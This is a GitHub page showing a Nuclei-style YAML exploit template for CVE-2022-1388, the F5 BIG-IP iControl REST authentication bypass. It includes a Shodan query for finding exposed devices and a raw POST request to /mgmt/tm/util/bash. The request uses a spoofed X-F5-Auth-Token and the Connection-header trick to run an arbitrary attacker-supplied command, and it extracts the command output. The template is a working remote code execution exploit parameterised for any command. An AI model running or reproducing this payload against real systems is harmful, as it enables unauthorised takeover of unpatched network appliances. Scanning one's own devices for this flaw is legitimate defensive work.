-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit-CVE-2022-1388.yaml
70 lines (64 loc) · 2.19 KB
/
exploit-CVE-2022-1388.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
id: CVE-2022-1388
info:
name: F5 BIG-IP iControl REST Auth Bypass RCE | Command Parameter
author: Mrcl0wn
severity: critical
description: |
CVE-2022-1388 is an authentication bypass vulnerability in the REST
component of BIG-IP’s iControl API that was assigned a CVSSv3
score of 9.8. The iControl REST API is used for the management and
configuration of BIG-IP devices. CVE-2022-1388 could be exploited
by an unauthenticated attacker with network access to the management
port or self IP addresses of devices that use BIG-IP. Exploitation would
allow the attacker to execute arbitrary system commands, create and
delete files and disable services.
reference:
- https://github.com/alt3kx/CVE-2022-1388_PoC
- https://support.f5.com/csp/article/K23605346
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
- https://github.com/dorkerdevil/CVE-2021-22986-Poc/blob/main/README.md
- https://github.com/horizon3ai/CVE-2022-1388/blob/main/CVE-2022-1388.py
- https://www.tenable.com/blog/cve-2022-1388-authentication-bypass-in-f5-big-ip
- https://github.com/numanturle/CVE-2022-1388/blob/main/bigip-icontrol-rest-rce.yaml
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2022-1388
cwe-id: CWE-306
metadata:
shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
verified: true
tags: bigip,mirai,rce,cve,cve2022
variables:
auth_var: "admin:"
cmd_var: "{{CMD}}"
requests:
- raw:
- |
POST /mgmt/tm/util/bash HTTP/1.1
Host: {{Hostname}}
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: a
Authorization: Basic {{base64(auth_var)}}
Content-Type: application/json
{
"command": "run",
"utilCmdArgs": "-c 'id;cmd_var'"
}
extractors:
- type: regex
part: body
name: result_command
group: 1
regex:
- "\"commandResult\":\"(.*)\""
matchers:
- type: word
words:
- "commandResult"
- "uid="
- "{{cmd_var}}"
- type: status
status:
- 200
condition: and